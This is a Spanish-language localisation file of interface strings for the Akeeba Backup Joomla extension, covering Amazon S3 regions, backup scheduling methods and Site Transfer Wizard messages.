COM_AKEEBABACKUP_S3_REGION_TITLE="Región de Amazon S3"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Elija la región de S3 donde se encuentra su bucket. Por favor, consulte http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>¡ATENCIÓN! Debido a la API de Amazon, DEBE seleccionar la ubicación de su bucket cuando utilice el método de firma v4. El método de firma v4 es OBLIGATORIO para todos los buckets creados en cualquier región que entró en funcionamiento después de enero de 2014, como Frankfurt y São Paulo.</strong> Esta es una restricción de Amazon, no de Akeeba Backup. Gracias por su comprensión."
COM_AKEEBABACKUP_S3_REGION_NONE="Ninguna (¡ATENCIÓN! ÚSELA SOLO CON EL MÉTODO DE FIRMA v2)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Personalizada / Ninguna"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="África, Sur (Ciudad del Cabo)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Asia Pacífico, Este (Hong Kong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Asia Pacífico, Noreste (Tokio)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Asia Pacífico, Noreste (Seúl)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Asia Pacífico, Sureste (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Asia Pacífico, Sur (Bombay)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Asia Pacífico, Sur (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Asia Pacífico, Sureste (Singapur)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Asia Pacífico, Sureste (Sídney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Asia Pacífico, Sureste (Yakarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Asia Pacífico, Sureste (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Canadá (Central)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="China, Norte (Pekín)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="China, Noroeste (Ningxia)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europa, Central (Fráncfort)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europa, Central (Zúrich)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europa, Norte (Estocolmo)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europa, Sur (Milán)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europa, Sur (España)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europa, Oeste (Irlanda)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europa, Oeste (Londres)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europa, Oeste (París)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Oriente Medio, Central (Emiratos Árabes Unidos)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Oriente Medio, Sur (Baréin)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="América del Sur, Este (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="EE. UU. Este (Norte de Virginia)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="EE. UU. Este (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="EE. UU. Oeste (Norte de California)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="EE. UU. Oeste (Oregón)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (EE. UU. Este)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (EE. UU. Oeste)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Archivo profundo"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Niveles inteligentes"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="Una zona – Acceso poco frecuente"
COM_AKEEBABACKUP_S3_RRS_RRS="Almacenamiento de redundancia reducida"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Almacenamiento estándar"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Estándar – Acceso poco frecuente"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Especifique el método de firma de la solicitud. Use v4 si no está seguro. Es posible que deba usar v2 con servicios de almacenamiento de terceros (es decir, cuando especifique un punto de conexión personalizado)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Método de firma"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (modo heredado, proveedores de almacenamiento de terceros)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (preferido para Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Región personalizada de Amazon S3"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Establezca la opción anterior en &quot;Personalizada / Ninguna&quot; e introduzca aquí el nombre de la región que desea usar, por ejemplo, <code>us-east-1</code> para EE. UU. Este (Norte de Virginia).<br/>Esto está pensado para usar con nuevas regiones de S3 que aún no figuran en la lista anterior, o con servicios de terceros compatibles con S3 que usen la API v4 de S3 y tengan sus propios nombres de región personalizados."

COM_AKEEBABACKUP_SCHEDULE="Programar copias de seguridad automáticas"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Tareas programadas de Joomla"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Puede crear tareas de copia de seguridad usando la función de Tareas programadas de Joomla. Por favor, lea primero la documentación para comprender los compromisos y posibles problemas según el método que elija para activar las Tareas programadas de Joomla."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Gestionar sus tareas programadas"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Las tareas programadas solo están disponibles en Joomla 4.1 y versiones posteriores"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Joomla introdujo la función de Tareas programadas en Joomla! versión 4.1.0. Por favor, actualice su sitio a la última versión de Joomla para acceder a las Tareas programadas."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="El plugin &quot;Tarea – Akeeba Backup&quot; está desactivado."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="El plugin &quot;Tarea – Akeeba Backup&quot; debe estar activado para que las Tareas programadas de Joomla sepan cómo ejecutar copias de seguridad con Akeeba Backup. Por favor, vaya a Sistema, Gestionar, Plugins y active el plugin. También puede hacer clic en el siguiente botón para editar el plugin directamente."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Editar el plugin"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Trabajos CRON alternativos por línea de comandos"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Este método solo se recomienda si el trabajo CRON por línea de comandos habitual no se completa. Aunque se ejecuta a través de la aplicación de consola de Joomla, pasará por la aplicación web de Joomla — utilizando el método de copia de seguridad desde el frontal de Akeeba Backup — lo que lo hace más lento que el método nativo por CLI."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Cuando una copia de seguridad programada falla, generalmente significa que PHP dejó de funcionar antes de que la copia de seguridad se completase. Por eso Akeeba Backup no puede notificarle del fallo de la misma manera en que le notifica cuando finaliza correctamente o con advertencias.</p><p>Para resolver ese problema puede programar la comprobación de la última copia de seguridad para que se ejecute después del tiempo previsto de finalización de su proceso de copia de seguridad. ¿No sabe cuándo sería ese momento? Lo ideal es que sea la duración de la última copia de seguridad exitosa registrada en la página Gestionar copias de seguridad más media hora.</p><p>Puede programar esta comprobación con muchos métodos diferentes, igual que la propia copia de seguridad. A continuación encontrará más información sobre cada método de programación disponible para las comprobaciones de copia de seguridad. Si no sabe cuál usar, le recomendamos que use el mismo método de programación que para sus copias de seguridad.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Comprobar el estado de la copia de seguridad"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Trabajos CRON por línea de comandos (recomendado)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Este es el método recomendado para todos los servidores que admiten trabajos CRON por línea de comandos. Este método utiliza la aplicación de consola (CLI) de Joomla — en lugar de la aplicación web de Joomla — logrando la máxima velocidad de copia de seguridad."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Importante"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Recuerde sustituir <em>%s</em> por la ruta real al ejecutable <strong>CLI (Interfaz de Línea de Comandos)</strong> de PHP de su servidor. Recuerde que debe usar el ejecutable PHP CLI; el ejecutable PHP CGI (Interfaz de Pasarela Común) <em>no</em> funcionará con la aplicación CLI de Joomla. Si no sabe qué significa esto, consulte con su proveedor de alojamiento. Ellos son los únicos que pueden proporcionarle esta información."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Akeeba Backup ha detectado que la ruta <em>más probable</em> al CLI de PHP es <code>%s</code> y la ha usado en la línea de comandos mostrada anteriormente. Si esto no funciona, por favor reemplace <code>%1$s</code> por la ruta real al ejecutable <strong>CLI (Interfaz de Línea de Comandos)</strong> de PHP de su servidor. Su proveedor de alojamiento podrá proporcionarle esta información."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Función de copia de seguridad desde el frontal"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Este método utiliza una URL pública y una clave secreta para iniciar una copia de seguridad de su sitio. La copia de seguridad avanza mediante redirecciones HTTP. Tenga en cuenta que la mayoría de los trabajos CRON basados en URL de los proveedores de alojamiento, así como la mayoría de los servicios CRON de terceros basados en URL, no admiten redirecciones HTTP. Si los ejemplos con wget y curl que aparecen a continuación no le funcionan, por favor use la URL de copia de seguridad desde el frontal con el económico servicio de terceros webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="La función de copia de seguridad desde el frontal puede usarse con una gran variedad de métodos. Haga clic en las pestañas que aparecen a continuación para ver la descripción de cada método. Recuerde que todos ellos se explican detalladamente en nuestra documentación."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="Script PHP"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Función de comprobación de copia de seguridad desde el frontal"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="Programación CRON usando curl (macOS, Linux, algunos servidores):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Script PHP personalizado para ejecutar la copia de seguridad desde el frontal:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="La función de copia de seguridad desde el frontal de Akeeba Backup no está activada. No puede usar este método de programación hasta que la active. Por favor, vaya al Panel de control de Akeeba Backup, haga clic en el botón Opciones de la barra de herramientas y active la función de copia de seguridad desde el frontal. No olvide especificar también una palabra secreta de su elección."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL para uso con sus propios scripts y servicios de terceros:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="La clave secreta de la función de copia de seguridad desde el frontal está vacía. No puede usar este método de programación hasta que cree una clave secreta. Por favor, inicie sesión en el administrador de su sitio como Superadministrador, vaya al Panel de control de Akeeba Backup, haga clic en el botón Opciones de la barra de herramientas e introduzca una clave secreta de su elección."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Configuración de un trabajo de copia de seguridad con WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Alertas"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Si ya ha configurado métodos de alerta en la interfaz de webcron.org, le recomendamos que elija un método de alerta aquí y que no marque &quot;Solo en caso de error&quot; para recibir siempre una notificación cuando se ejecute el trabajo CRON de copia de seguridad."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Tiempo de ejecución"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="Es la rejilla que aparece debajo de las demás opciones. Seleccione cuándo y con qué frecuencia desea que se ejecute su trabajo CRON."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Inicie sesión en webcron.org. En el área CRON, haga clic en el botón Nuevo Cron. A continuación encontrará lo que debe introducir en la interfaz de webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Usuario"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Déjelo en blanco"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Nombre del trabajo cron"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Cualquier nombre que prefiera, p. ej. <em>Copia de seguridad de mi sitio</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Contraseña"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Por último, haga clic en el botón Enviar para terminar de configurar su trabajo CRON."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Tiempo de espera"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180 segundos; si la copia de seguridad no se completa, auméntelo. La mayoría de los sitios funcionarán con un valor de 180 o 600. Si tiene un sitio muy grande que tarda más de 5 minutos en hacer la copia de seguridad, puede considerar usar Akeeba Backup Professional y el trabajo CRON nativo por CLI, que es mucho más rentable."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="URL que desea ejecutar"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="Programación CRON usando wget (la mayoría de servidores y distribuciones Linux):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Leer la documentación"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Use el siguiente comando en la interfaz CRON de su servidor:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Akeeba Backup ofrece varios métodos de programación. A continuación encontrará más información sobre cada método de programación. Por favor, lea la documentación de cada método de programación. Responderá a muchas de sus preguntas y le ayudará a programar sus copias de seguridad con mayor facilidad."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Función de copia de seguridad remota (API JSON)"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Puede usar este método para realizar copias de seguridad de su sitio de forma remota usando nuestro software compatible con esta función (p. ej., Akeeba Remote CLI y Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Por favor, vaya a Akeeba Backup, haga clic en Opciones y luego en la pestaña Frontal. Establezca &quot;Activar API JSON (copia de seguridad remota)&quot; en Sí para habilitar esta función."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Puede usar la aplicación de línea de comandos Akeeba Remote CLI para realizar copias de seguridad de sus sitios de forma remota. Puede programar estos comandos en su equipo o en otro servidor para automatizar sus copias de seguridad."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Para realizar una copia de seguridad usando Akeeba Remote CLI a través de <strong>Docker</strong>, ejecute el siguiente comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Para realizar una copia de seguridad usando Akeeba Remote CLI con el <strong>archivo PHAR</strong> que puede descargar desde nuestro sitio, ejecute el siguiente comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Otras herramientas"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Si usa Akeeba UNiTE u otro software que utilice la API JSON remota, deberá proporcionar la siguiente información."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="URL del punto de conexión"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Clave secreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Akeeba Ltd no respalda, acepta responsabilidad ni proporciona soporte para software o servicios de terceros que se conecten a Akeeba Backup a través de la API JSON. Proporcionaremos soporte para realizar copias de seguridad con la API JSON de Akeeba solo si la Clave secreta es generada automáticamente por nuestro software y la solicitud tiene que ver con el uso de nuestro propio software cliente de la API JSON de Akeeba (p. ej., Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Por favor, vaya a Akeeba Backup, haga clic en Opciones y luego en la pestaña Frontal. Establezca &quot;Activar la API de copia de seguridad desde el frontal heredada (trabajos CRON remotos)&quot; en Sí para habilitar esta función."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Activar la API de copia de seguridad desde el frontal heredada"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Activar la API JSON de Akeeba"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Restablecer la clave secreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Ejecutar copias de seguridad"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Actualizar ahora"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Esta función solo está disponible en Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="El plugin <em>Consola – Akeeba Backup</em> está desactivado."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Por favor, vaya a Sistema, Gestionar, Plugins y active el plugin &quot;Consola – Akeeba Backup&quot;. Es necesario para que esta función funcione correctamente."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Comprobar subidas de copias de seguridad"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Cuando una copia de seguridad no consigue subirse al almacenamiento remoto configurado, generalmente no se considera un fallo de la copia de seguridad (a menos que haya seleccionado expresamente tratarlo como un fallo). Esto se debe a que el archivo de copia de seguridad sigue existiendo en su servidor. Sin embargo, necesita volver a su sitio y reintentar la subida desde la página Gestionar copias de seguridad, posiblemente corrigiendo también cualquier problema de conexión con el almacenamiento remoto.</p><p>El problema habitual es que puede que no sepa que la subida falló. Aquí es donde entra en juego la comprobación de subidas de copias de seguridad. Prográmela para que se ejecute después de que sus copias de seguridad programadas hayan finalizado normalmente, y le enviará un correo electrónico si alguna de las copias de seguridad realizadas desde la última vez que se ejecutó la comprobación no se pudo subir al almacenamiento remoto configurado.</p><p>Puede programar esta comprobación con muchos métodos diferentes, igual que la propia copia de seguridad. A continuación encontrará más información sobre cada método de programación disponible para las comprobaciones de subidas de copias de seguridad. Si no sabe cuál usar, le recomendamos que use el mismo método de programación que para sus copias de seguridad.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Solucionador de problemas - ALICE"

COM_AKEEBABACKUP_TRANSFER="Asistente de transferencia de sitio"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Continuar con la restauración"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Ejecutar Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Restablecer"
COM_AKEEBABACKUP_TRANSFER_DESC="Transfiere el archivo ejecutando el motor de posprocesamiento \"%s\" sobre el archivo."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Akeeba Backup no puede verificar que la información de conexión introducida corresponde a la URL del sitio que ha indicado. Si está intentando restaurar en un subdirectorio de un sitio existente, esto significa que el sitio principal está bloqueando el acceso al subdirectorio; por favor, contacte con el administrador del sitio. En cualquier otro caso ha introducido información de conexión incorrecta, probablemente un directorio incorrecto. Por favor, contacte con su proveedor de alojamiento y pídale la información de conexión correcta, <em>incluyendo el directorio</em>, que corresponde a la URL que ha introducido en este asistente. Después vuelva aquí, introduzca la información correcta y continúe con la restauración."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Akeeba Backup no puede leer el archivo de copia de seguridad local <code>%s</code>. Este asistente ha fallado. Por favor, realice una nueva copia de seguridad e inténtelo de nuevo. Tenga en cuenta que se han dejado archivos en su nuevo servidor; puede que desee eliminarlos manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Akeeba Backup no puede ejecutar Akeeba Kickstart en su nuevo sitio. Si está intentando restaurar en un subdirectorio de un sitio existente, esto significa que el sitio principal está bloqueando el acceso al subdirectorio; por favor, contacte con el administrador del sitio. En cualquier otro caso, deberá contactar con su proveedor de alojamiento y verificar que su versión predeterminada de PHP cumple los requisitos mínimos de Kickstart."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Akeeba Backup no puede subir el archivo de copia de seguridad <code>%s</code>. Es posible que el servidor de su nuevo sitio se haya quedado sin espacio en disco o que una protección del servidor esté bloqueando la transmisión de datos. Por favor, intente transferir su sitio seleccionando la opción de transferencia manual. Tenga en cuenta que se han dejado archivos en su nuevo servidor; puede que desee eliminarlos manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Akeeba Backup no puede subir Akeeba Kickstart a la raíz de su nuevo sitio. Por favor, compruebe que ha introducido la información de conexión correcta y que el usuario FTP/SFTP puede escribir archivos en el directorio seleccionado. Si ya tiene kickstart.php y kickstart.transfer.php en el sitio remoto, por favor elimínelos antes de reintentar la transferencia del sitio."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Akeeba Backup no puede subir un fragmento de su archivo de copia de seguridad desde el archivo local <code>%s</code> al archivo remoto <code>%s</code>. Por favor, compruebe que su servidor remoto permite subir archivos y que dispone de suficiente espacio en disco para los archivos de su copia de seguridad."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Akeeba Backup no puede subir un archivo de prueba llamado <code>%s</code> a la raíz de su nuevo sitio. Por favor, compruebe que ha introducido la información de conexión correcta y que el usuario FTP/SFTP puede escribir archivos en el directorio seleccionado."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Desafortunadamente, Akeeba Backup ha determinado que no puede escribir directamente en archivos de su servidor remoto. Este asistente no puede continuar. Deberá usar el método de transferencia &quot;Manual&quot;."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="No se puede crear un archivo temporal en este servidor. Por favor, compruebe que su directorio temporal está correctamente configurado y tiene permisos de escritura para el usuario bajo el que se ejecuta actualmente el servidor web."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="No se encontró ninguna copia de seguridad. Haga clic en el botón Hacer copia de seguridad ahora para realizar una nueva copia de seguridad."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="El nombre de dominio de la URL que ha introducido (%s) no se puede resolver desde el servidor donde se ejecuta Akeeba Backup. Si ha registrado o transferido recientemente el nombre de dominio, por favor espere más tiempo hasta que los servidores DNS se actualicen (normalmente entre 6 y 48 horas). De lo contrario, por favor compruebe la configuración DNS de su nombre de dominio."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Akeeba Backup ha recibido un error del servidor remoto al intentar subir el archivo de copia de seguridad. El error fue: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Ya existe otro sitio en esa ubicación. Por favor, elimine el sitio existente antes de transferir un nuevo sitio allí. Intentar sobrescribir un sitio existente probablemente resultará en un sitio roto que no podrá reparar."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Se encontró un archivo <code>%s</code> en la raíz de su nuevo sitio. Este archivo puede interferir con el proceso de transferencia del sitio. Por favor, elimínelo antes de continuar con la transferencia del sitio. Tenga en cuenta que el archivo puede estar <em>oculto</em>. Si no ve este archivo en el explorador de archivos de su panel de control de alojamiento o en su cliente FTP, por favor pida más información a su proveedor de alojamiento sobre cómo eliminar este archivo."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Error interno: el ID de copia de seguridad a subir no es válido o falta."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Comprobar"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Quiero ignorar esta advertencia y continuar <strong>bajo mi propia responsabilidad</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="La URL introducida no es válida."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Su servidor no puede acceder a la URL que ha introducido. Por favor, compruebe que la ha escrito correctamente. Tenga también en cuenta que los nombres de dominio recién asignados o transferidos pueden tardar <strong>hasta 48 horas</strong> en ser visibles para todos los servidores y equipos conectados a Internet."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="La URL introducida es la misma desde la que está restaurando. Este asistente no admite esta operación. Para la restauración de copias de seguridad sin usar el asistente, por favor consulte nuestro tutorial en vídeo a través del enlace que aparece a continuación."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="La transferencia del sitio no puede continuar. Necesita aproximadamente %s de espacio libre pero su servidor informa de que solo hay %s disponibles actualmente. Por favor, libere más espacio en su servidor."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Ignorar los errores detectados y transferir el sitio de todas formas"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Ha introducido la información de conexión del sitio desde el que está transfiriendo. <strong>Su error habría eliminado su propio sitio</strong>. Debe introducir la información de conexión FTP/SFTP del sitio <strong>al que</strong> está transfiriendo (nuevo sitio o nuevo servidor). Por favor, corrija la información anterior e inténtelo de nuevo."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Solo tiene <span></span> de espacio libre. Necesita más espacio libre para transferir su sitio. Por favor, contacte con su proveedor de alojamiento."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Su sitio tiene un certificado SSL no válido o autofirmado. Por razones de seguridad la transferencia del sitio no puede continuar. Por favor, haga clic en Restablecer para reiniciar la transferencia del sitio y use una URL sin <code>https://</code>. Esto es necesario cuando intenta transferir su sitio antes de transferir su nombre de dominio al nuevo servidor. También puede contactar con su proveedor de alojamiento para obtener un certificado SSL válido. Incluso uno gratuito emitido por la autoridad de certificación gratuita Let's Encrypt será suficiente."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Está ejecutando el Asistente de transferencia de sitio en modo forzado. Esto significa que algunas comprobaciones de cordura que normalmente se ejecutan antes de la transferencia del sitio no se ejecutarán. Como resultado, la transferencia puede sobrescribir un sitio existente, acabar en una URL diferente a la esperada o simplemente fallar. <strong>Esta es una función para usuarios avanzados. Por favor, no continúe si no se siente cómodo con ello.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Modo forzado activado"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Transferencia manual"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Requisitos previos"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Conexión al nuevo sitio"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Subir y restaurar"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Tamaño del fragmento"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="Los archivos de copia de seguridad se transfieren en pequeños fragmentos al servidor remoto. Esto determina el tamaño de dichos fragmentos. Los tamaños demasiado pequeños pueden provocar que el servidor remoto le bloquee al confundirle con un usuario abusivo, lo que generará un error de subida. Los tamaños demasiado grandes pueden resultar en un error de tiempo de espera en el servidor de origen o en el remoto, lo que generará un error AJAX. Normalmente, los valores entre 5M y 20M funcionan mejor."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Una copia de seguridad completa del sitio"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Copia de seguridad encontrada; realizada el %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="Directorio FTP/SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Nombre del servidor"
